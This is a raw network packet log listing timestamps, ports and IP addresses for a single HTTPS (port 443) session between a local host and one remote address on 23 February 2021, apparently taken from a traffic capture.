Feb 23, 2021 10:04:39.404103994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.404122114 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.404170990 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.404953003 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.404977083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.405217886 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.405816078 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.405838013 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.405900002 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.406713963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.406738043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.406794071 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.407546997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.407573938 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.407618046 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.408407927 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.408432961 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.408492088 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.409271955 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.409296036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.409342051 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.410115957 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.410140991 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.410207987 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.410963058 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.410986900 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.411027908 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.411822081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.411845922 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.411899090 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.412692070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.412714958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.412772894 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.413551092 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.413573980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.413631916 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.414413929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.414437056 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.414498091 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.415281057 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.415307999 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.415371895 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.416129112 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.416162014 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.416230917 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.416981936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.417013884 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.417079926 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.417853117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.417884111 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.417948961 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.418732882 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.418766022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.418828011 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.419579029 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.419608116 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.419666052 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.420418978 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.420448065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.420506954 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.421257019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.421295881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.421358109 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.422125101 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.422152996 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.422244072 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.422954082 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.422982931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.423046112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.423799992 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.423831940 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.423894882 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.424685955 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.424721956 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.424784899 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.425487041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.425518036 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.425595999 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.426341057 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.426383972 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.426439047 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.427264929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.427304983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.427362919 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.427978992 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.428019047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.428075075 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.428812981 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.428850889 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.428911924 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.429630995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.429671049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.429744005 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.430438995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.430478096 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.430529118 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.431284904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.431325912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.431391954 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.432054996 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.432096004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.432146072 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.432936907 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.432977915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.433026075 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.433732033 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.433773994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.433828115 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.434499025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.434539080 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.434588909 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.435292959 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.435329914 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.435376883 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.436157942 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.436202049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.436270952 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.436986923 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.437030077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.437087059 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.437746048 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.437797070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.437845945 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.438551903 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.438596964 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.438652039 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.439321995 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.439368963 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.439429045 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.440105915 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.440130949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.440186024 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.440872908 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.440893888 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.440973997 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.441663027 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.441782951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.441831112 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.442425013 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.442445993 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.442518950 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.443212032 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.443232059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.443295956 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.444001913 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.444024086 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.444075108 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.444731951 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.444751024 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.444825888 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.445519924 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.445540905 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.445602894 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.446265936 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.446288109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.446362019 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.447057962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.447170019 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.447243929 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.447833061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.447912931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.447964907 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.448654890 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.448707104 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.448750973 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.449377060 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.449454069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.449503899 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.450143099 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.450217009 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.450263023 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.450902939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.450962067 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.451015949 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.451653004 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.451704979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.451756001 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.452404022 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.452495098 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.452553034 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.453169107 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.453190088 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.453258038 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.453912973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.453932047 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.453999996 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.454621077 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.454644918 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.454706907 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.455389023 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.455430984 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.455537081 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.456135988 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.456166983 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.456253052 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.456861973 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.456895113 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.456979036 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.457596064 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.457632065 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.457741022 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.458331108 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.458367109 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.458441019 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.459064960 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.459100962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.459171057 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.459789038 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.459825039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.459898949 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.460517883 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.460553885 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.460649014 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.461253881 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.461287975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.461374998 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.461993933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.462028980 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.462090015 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.462706089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.462747097 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.462842941 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.463511944 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.463562012 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.463639021 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.464140892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.464179039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.464236975 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.464868069 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.464914083 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.464978933 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.465600967 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.465640068 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.465703964 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.466289043 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.466311932 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.466381073 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.466986895 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.467010975 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.467094898 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.467715979 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.467742920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.467811108 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.468473911 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.468498945 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.468552113 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.469110966 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.469130039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.469187975 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.469863892 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.469882965 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.469970942 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.470586061 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.470606089 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.470659018 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.471276045 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.471307993 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.471393108 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.471961021 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.471981049 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.472064972 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.472651958 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.472672939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.472742081 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.473339081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.473356962 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.473412991 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.474041939 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.474060059 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.474145889 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.474740028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.474757910 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.474812984 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.475438118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.475456953 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.475542068 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.476136923 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.476164103 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.476224899 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.476850986 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.476872921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.476944923 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.477525949 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.477547884 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.477636099 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.478260994 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.478296041 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.478359938 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.479013920 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.479049921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.479140997 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.479624033 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.479659081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.479721069 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.480317116 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.480353117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.480423927 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.481018066 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.481051922 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.481112003 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.481679916 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.481717110 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.481802940 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.482394934 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.482429028 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.482494116 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.483058929 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.483094931 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.483191013 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.483726025 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.483760118 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.483823061 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.484400034 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.484435081 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.484499931 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.485076904 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.485112906 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.485177994 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.485729933 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.485763073 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.485825062 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.486423016 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.486448050 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.486526012 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.487083912 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.487102985 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.487165928 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.487778902 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.487796068 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.487864017 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.488429070 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.488445997 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.488504887 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.489109039 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.489126921 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.489195108 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.489775896 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.489833117 CET	443	49769	104.21.50.15	192.168.2.6
Feb 23, 2021 10:04:39.489903927 CET	49769	443	192.168.2.6	104.21.50.15
Feb 23, 2021 10:04:39.490426064 CET	443	49769	104.21.50.15	192.168.2.6
